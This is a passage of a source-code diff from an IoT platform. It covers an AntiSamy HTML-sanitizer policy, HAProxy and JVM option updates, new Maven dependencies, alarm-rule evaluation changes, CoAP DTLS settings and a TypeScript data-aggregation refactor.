  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
\ No newline at end of file
... ...
... ... @@ -230,7 +230,7 @@ services:
230 230 haproxy:
231 231 restart: always
232 232 container_name: "${LOAD_BALANCER_NAME}"
233   - image: xalauc/haproxy-certbot:1.7.9
  233 + image: thingsboard/haproxy-certbot:1.3.0
234 234 volumes:
235 235 - ./haproxy/config:/config
236 236 - ./haproxy/letsencrypt:/etc/letsencrypt
... ...
... ... @@ -54,7 +54,7 @@ frontend http-in
54 54
55 55 option forwardfor
56 56
57   - reqadd X-Forwarded-Proto:\ http
  57 + http-request add-header "X-Forwarded-Proto" "http"
58 58
59 59 acl transport_http_acl path_beg /api/v1/
60 60 acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/
... ... @@ -73,7 +73,7 @@ frontend https_in
73 73
74 74 option forwardfor
75 75
76   - reqadd X-Forwarded-Proto:\ https
  76 + http-request add-header "X-Forwarded-Proto" "https"
77 77
78 78 acl transport_http_acl path_beg /api/v1/
79 79 acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/
... ...
... ... @@ -23,11 +23,11 @@ metadata:
23 23 name: tb-coap-transport-config
24 24 data:
25 25 conf: |
26   - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-coap-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
27   - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
28   - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
29   - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
30   - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
  26 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-coap-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  27 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}-heapdump.bin"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
31 31 export LOG_FILENAME=tb-coap-transport.out
32 32 export LOADER_PATH=/usr/share/tb-coap-transport/conf
33 33 logback: |
... ...
... ... @@ -23,11 +23,11 @@ metadata:
23 23 name: tb-http-transport-config
24 24 data:
25 25 conf: |
26   - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-http-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
27   - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
28   - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
29   - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
30   - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
  26 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-http-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  27 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}-heapdump.bin"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
31 31 export LOG_FILENAME=tb-http-transport.out
32 32 export LOADER_PATH=/usr/share/tb-http-transport/conf
33 33 logback: |
... ...
... ... @@ -23,11 +23,11 @@ metadata:
23 23 name: tb-mqtt-transport-config
24 24 data:
25 25 conf: |
26   - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
27   - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
28   - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
29   - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
30   - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
  26 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  27 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-heapdump.bin"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
31 31 export LOG_FILENAME=tb-mqtt-transport.out
32 32 export LOADER_PATH=/usr/share/tb-mqtt-transport/conf
33 33 logback: |
... ...
... ... @@ -24,11 +24,11 @@ metadata:
24 24 data:
25 25 conf: |
26 26 export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data"
27   - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/thingsboard/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
28   - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
29   - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
30   - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
31   - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
  27 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/thingsboard/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}-heapdump.bin"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  31 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
32 32 export LOG_FILENAME=thingsboard.out
33 33 export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions
34 34 logback: |
... ...
... ... @@ -47,6 +47,7 @@
47 47 <jjwt.version>0.7.0</jjwt.version>
48 48 <json-path.version>2.2.0</json-path.version>
49 49 <junit.version>4.12</junit.version>
  50 + <jupiter.version>5.7.1</jupiter.version>
50 51 <slf4j.version>1.7.7</slf4j.version>
51 52 <logback.version>1.2.3</logback.version>
52 53 <mockito.version>3.3.3</mockito.version>
... ... @@ -116,6 +117,10 @@
116 117 <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
117 118 <wire-schema.version>3.4.0</wire-schema.version>
118 119 <twilio.version>7.54.2</twilio.version>
  120 + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
  121 + <javax.el.version>3.0.0</javax.el.version>
  122 + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
  123 + <antisamy.version>1.6.2</antisamy.version>
119 124 </properties>
120 125
121 126 <modules>
... ... @@ -1237,6 +1242,11 @@
1237 1242 <scope>test</scope>
1238 1243 </dependency>
1239 1244 <dependency>
  1245 + <groupId>org.eclipse.californium</groupId>
  1246 + <artifactId>scandium</artifactId>
  1247 + <version>${californium.version}</version>
  1248 + </dependency>
  1249 + <dependency>
1240 1250 <groupId>com.google.code.gson</groupId>
1241 1251 <artifactId>gson</artifactId>
1242 1252 <version>${gson.version}</version>
... ... @@ -1341,6 +1351,12 @@
1341 1351 <scope>test</scope>
1342 1352 </dependency>
1343 1353 <dependency>
  1354 + <groupId>org.junit.jupiter</groupId>
  1355 + <artifactId>junit-jupiter-params</artifactId>
  1356 + <version>${jupiter.version}</version>
  1357 + <scope>test</scope>
  1358 + </dependency>
  1359 + <dependency>
1344 1360 <groupId>org.dbunit</groupId>
1345 1361 <artifactId>dbunit</artifactId>
1346 1362 <version>${dbunit.version}</version>
... ... @@ -1537,6 +1553,36 @@
1537 1553 </exclusion>
1538 1554 </exclusions>
1539 1555 </dependency>
  1556 + <dependency>
  1557 + <groupId>org.hibernate.validator</groupId>
  1558 + <artifactId>hibernate-validator</artifactId>
  1559 + <version>${hibernate-validator.version}</version>
  1560 + </dependency>
  1561 + <dependency>
  1562 + <groupId>org.glassfish</groupId>
  1563 + <artifactId>javax.el</artifactId>
  1564 + <version>${javax.el.version}</version>
  1565 + </dependency>
  1566 + <dependency>
  1567 + <groupId>javax.validation</groupId>
  1568 + <artifactId>validation-api</artifactId>
  1569 + <version>${javax.validation-api.version}</version>
  1570 + </dependency>
  1571 + <dependency>
  1572 + <groupId>org.owasp.antisamy</groupId>
  1573 + <artifactId>antisamy</artifactId>
  1574 + <version>${antisamy.version}</version>
  1575 + <exclusions>
  1576 + <exclusion>
  1577 + <groupId>org.slf4j</groupId>
  1578 + <artifactId>*</artifactId>
  1579 + </exclusion>
  1580 + <exclusion>
  1581 + <groupId>com.github.spotbugs</groupId>
  1582 + <artifactId>spotbugs-annotations</artifactId>
  1583 + </exclusion>
  1584 + </exclusions>
  1585 + </dependency>
1540 1586 </dependencies>
1541 1587 </dependencyManagement>
1542 1588
... ...
... ... @@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe
33 33 import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule;
34 34 import org.thingsboard.server.common.data.query.BooleanFilterPredicate;
35 35 import org.thingsboard.server.common.data.query.ComplexFilterPredicate;
36   -import org.thingsboard.server.common.data.query.EntityKey;
37   -import org.thingsboard.server.common.data.query.EntityKeyType;
38 36 import org.thingsboard.server.common.data.query.FilterPredicateValue;
39   -import org.thingsboard.server.common.data.query.KeyFilter;
40 37 import org.thingsboard.server.common.data.query.KeyFilterPredicate;
41 38 import org.thingsboard.server.common.data.query.NumericFilterPredicate;
42 39 import org.thingsboard.server.common.data.query.StringFilterPredicate;
... ... @@ -275,7 +272,7 @@ class AlarmRuleState {
275 272 if (value == null) {
276 273 return false;
277 274 }
278   - eval = eval && eval(data, value, filter.getPredicate());
  275 + eval = eval && eval(data, value, filter.getPredicate(), filter);
279 276 }
280 277 return eval;
281 278 }
... ... @@ -300,33 +297,33 @@ class AlarmRuleState {
300 297 return value;
301 298 }
302 299
303   - private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate) {
  300 + private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate, AlarmConditionFilter filter) {
304 301 switch (predicate.getType()) {
305 302 case STRING:
306   - return evalStrPredicate(data, value, (StringFilterPredicate) predicate);
  303 + return evalStrPredicate(data, value, (StringFilterPredicate) predicate, filter);
307 304 case NUMERIC:
308   - return evalNumPredicate(data, value, (NumericFilterPredicate) predicate);
  305 + return evalNumPredicate(data, value, (NumericFilterPredicate) predicate, filter);
309 306 case BOOLEAN:
310   - return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate);
  307 + return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate, filter);
311 308 case COMPLEX:
312   - return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate);
  309 + return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate, filter);
313 310 default:
314 311 return false;
315 312 }
316 313 }
317 314
318   - private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate) {
  315 + private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate, AlarmConditionFilter filter) {
319 316 switch (predicate.getOperation()) {
320 317 case OR:
321 318 for (KeyFilterPredicate kfp : predicate.getPredicates()) {
322   - if (eval(data, ekv, kfp)) {
  319 + if (eval(data, ekv, kfp, filter)) {
323 320 return true;
324 321 }
325 322 }
326 323 return false;
327 324 case AND:
328 325 for (KeyFilterPredicate kfp : predicate.getPredicates()) {
329   - if (!eval(data, ekv, kfp)) {
  326 + if (!eval(data, ekv, kfp, filter)) {
330 327 return false;
331 328 }
332 329 }
... ... @@ -336,12 +333,15 @@ class AlarmRuleState {
336 333 }
337 334 }
338 335
339   - private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate) {
  336 + private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate, AlarmConditionFilter filter) {
340 337 Boolean val = getBoolValue(ekv);
341 338 if (val == null) {
342 339 return false;
343 340 }
344   - Boolean predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getBoolValue);
  341 + Boolean predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getBoolValue);
  342 + if (predicateValue == null) {
  343 + return false;
  344 + }
345 345 switch (predicate.getOperation()) {
346 346 case EQUAL:
347 347 return val.equals(predicateValue);
... ... @@ -352,12 +352,15 @@ class AlarmRuleState {
352 352 }
353 353 }
354 354
355   - private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate) {
  355 + private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate, AlarmConditionFilter filter) {
356 356 Double val = getDblValue(ekv);
357 357 if (val == null) {
358 358 return false;
359 359 }
360   - Double predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getDblValue);
  360 + Double predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getDblValue);
  361 + if (predicateValue == null) {
  362 + return false;
  363 + }
361 364 switch (predicate.getOperation()) {
362 365 case NOT_EQUAL:
363 366 return !val.equals(predicateValue);
... ... @@ -376,12 +379,15 @@ class AlarmRuleState {
376 379 }
377 380 }
378 381
379   - private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate) {
  382 + private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate, AlarmConditionFilter filter) {
380 383 String val = getStrValue(ekv);
381 384 if (val == null) {
382 385 return false;
383 386 }
384   - String predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getStrValue);
  387 + String predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getStrValue);
  388 + if (predicateValue == null) {
  389 + return false;
  390 + }
385 391 if (predicate.isIgnoreCase()) {
386 392 val = val.toLowerCase();
387 393 predicateValue = predicateValue.toLowerCase();
... ... @@ -404,7 +410,7 @@ class AlarmRuleState {
404 410 }
405 411 }
406 412
407   - private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, Function<EntityKeyValue, T> transformFunction) {
  413 + private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, AlarmConditionFilter filter, Function<EntityKeyValue, T> transformFunction) {
408 414 EntityKeyValue ekv = getDynamicPredicateValue(data, value);
409 415 if (ekv != null) {
410 416 T result = transformFunction.apply(ekv);
... ... @@ -412,7 +418,11 @@ class AlarmRuleState {
412 418 return result;
413 419 }
414 420 }
415   - return value.getDefaultValue();
  421 + if (filter.getKey().getType() != AlarmConditionKeyType.CONSTANT) {
  422 + return value.getDefaultValue();
  423 + } else {
  424 + return null;
  425 + }
416 426 }
417 427
418 428 private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) {
... ...
... ... @@ -46,6 +46,24 @@ transport:
46 46 bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}"
47 47 bind_port: "${COAP_BIND_PORT:5683}"
48 48 timeout: "${COAP_TIMEOUT:10000}"
  49 + dtls:
  50 + # Enable/disable DTLS 1.2 support
  51 + enabled: "${COAP_DTLS_ENABLED:false}"
  52 + # Secure mode. Allowed values: NO_AUTH, X509
  53 + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}"
  54 + # Path to the key store that holds the certificate
  55 + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}"
  56 + # Password used to access the key store
  57 + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}"
  58 + # Password used to access the key
  59 + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}"
  60 + # Key alias
  61 + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}"
  62 + # Skip certificate validity check for client certificates.
  63 + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}"
  64 + x509:
  65 + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}"
  66 + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}"
49 67 sessions:
50 68 inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}"
51 69 report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}"
... ...
... ... @@ -17,10 +17,9 @@
17 17 import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models';
18 18 import {
19 19 AggregationType, calculateIntervalComparisonEndTime,
20   - calculateIntervalEndTime,
21   - calculateIntervalStartTime,
  20 + calculateIntervalEndTime, calculateIntervalStartEndTime,
22 21 getCurrentTime,
23   - getCurrentTimeForComparison,
  22 + getCurrentTimeForComparison, getTime,
24 23 SubscriptionTimewindow
25 24 } from '@shared/models/time/time.models';
26 25 import { UtilsService } from '@core/services/utils.service';
... ... @@ -36,8 +35,56 @@ interface AggData {
36 35 aggValue: any;
37 36 }
38 37
39   -interface AggregationMap {
40   - [key: string]: Map<number, AggData>;
  38 +class AggDataMap {
  39 + rangeChanged = false;
  40 + private minTs = Number.MAX_SAFE_INTEGER;
  41 + private map = new Map<number, AggData>();
  42 +
  43 + set(ts: number, data: AggData) {
  44 + if (ts < this.minTs) {
  45 + this.rangeChanged = true;
  46 + this.minTs = ts;
  47 + }
  48 + this.map.set(ts, data);
  49 + }
  50 +
  51 + get(ts: number): AggData {
  52 + return this.map.get(ts);
  53 + }
  54 +
  55 + delete(ts: number) {
  56 + this.map.delete(ts);
  57 + }
  58 +
  59 + forEach(callback: (value: AggData, key: number, map: Map<number, AggData>) => void, thisArg?: any) {
  60 + this.map.forEach(callback, thisArg);
  61 + }
  62 +
  63 + size(): number {
  64 + return this.map.size;
  65 + }
  66 +}
  67 +
  68 +class AggregationMap {
  69 + aggMap: {[key: string]: AggDataMap} = {};
  70 +
  71 + detectRangeChanged(): boolean {
  72 + let changed = false;
  73 + for (const key of Object.keys(this.aggMap)) {
  74 + const aggDataMap = this.aggMap[key];
  75 + if (aggDataMap.rangeChanged) {
  76 + changed = true;
  77 + aggDataMap.rangeChanged = false;
  78 + }
  79 + }
  80 + return changed;
  81 + }
  82 +
  83 + clearRangeChangedFlags() {
  84 + for (const key of Object.keys(this.aggMap)) {
  85 + this.aggMap[key].rangeChanged = false;
  86 + }
  87 + }
41 88 }
42 89
43 90 declare type AggFunction = (aggData: AggData, value?: any) => void;
... ... @@ -170,7 +217,7 @@ export class DataAggregator {
170 217 updateIntervalScheduledTime = false;
171 218 }
172 219 if (update) {
173   - this.aggregationMap = {};
  220 + this.aggregationMap = new AggregationMap();
174 221 this.updateAggregatedData(data.data);
175 222 } else {
176 223 this.aggregationMap = this.processAggregatedData(data.data);
... ... @@ -178,12 +225,17 @@ export class DataAggregator {
178 225 if (updateIntervalScheduledTime) {
179 226 this.intervalScheduledTime = this.utils.currentPerfTime();
180 227 }
  228 + this.aggregationMap.clearRangeChangedFlags();
181 229 this.onInterval(history, detectChanges);
182 230 } else {
183 231 this.updateAggregatedData(data.data);
184 232 if (history) {
185 233 this.intervalScheduledTime = this.utils.currentPerfTime();
186 234 this.onInterval(history, detectChanges);
  235 + } else {
  236 + if (this.aggregationMap.detectRangeChanged()) {
  237 + this.onInterval(false, detectChanges, true);
  238 + }
187 239 }
188 240 }
189 241 }
... ... @@ -192,18 +244,19 @@ export class DataAggregator {
192 244 this.startTs = this.subsTw.startTs + this.subsTw.tsOffset;
193 245 if (this.subsTw.quickInterval) {
194 246 if (this.subsTw.timeForComparison === 'previousInterval') {
  247 + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone);
195 248 const currentDate = getCurrentTime(this.subsTw.timezone);
196   - this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
  249 + this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, startDate, currentDate) + this.subsTw.tsOffset;
197 250 } else {
198   - const currentDate = this.getCurrentTime();
199   - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;
  251 + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone);
  252 + this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, startDate, this.subsTw.timezone) + this.subsTw.tsOffset;
200 253 }
201 254 } else {
202 255 this.endTs = this.startTs + this.subsTw.aggregation.timeWindow;
203 256 }
204 257 }
205 258
206   - private onInterval(history?: boolean, detectChanges?: boolean) {
  259 + private onInterval(history?: boolean, detectChanges?: boolean, rangeChanged?: boolean) {
207 260 const now = this.utils.currentPerfTime();
208 261 this.elapsed += now - this.intervalScheduledTime;
209 262 this.intervalScheduledTime = now;
... ... @@ -211,14 +264,15 @@ export class DataAggregator {
211 264 clearTimeout(this.intervalTimeoutHandle);
212 265 this.intervalTimeoutHandle = null;
213 266 }
  267 + const intervalTimeout = rangeChanged ? this.aggregationTimeout - this.elapsed : this.aggregationTimeout;
214 268 if (!history) {
215 269 const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval);
216   - if (delta || !this.data) {
  270 + if (delta || !this.data || rangeChanged) {
217 271 const tickTs = delta * this.subsTw.aggregation.interval;
218 272 if (this.subsTw.quickInterval) {
219   - const currentDate = this.getCurrentTime();
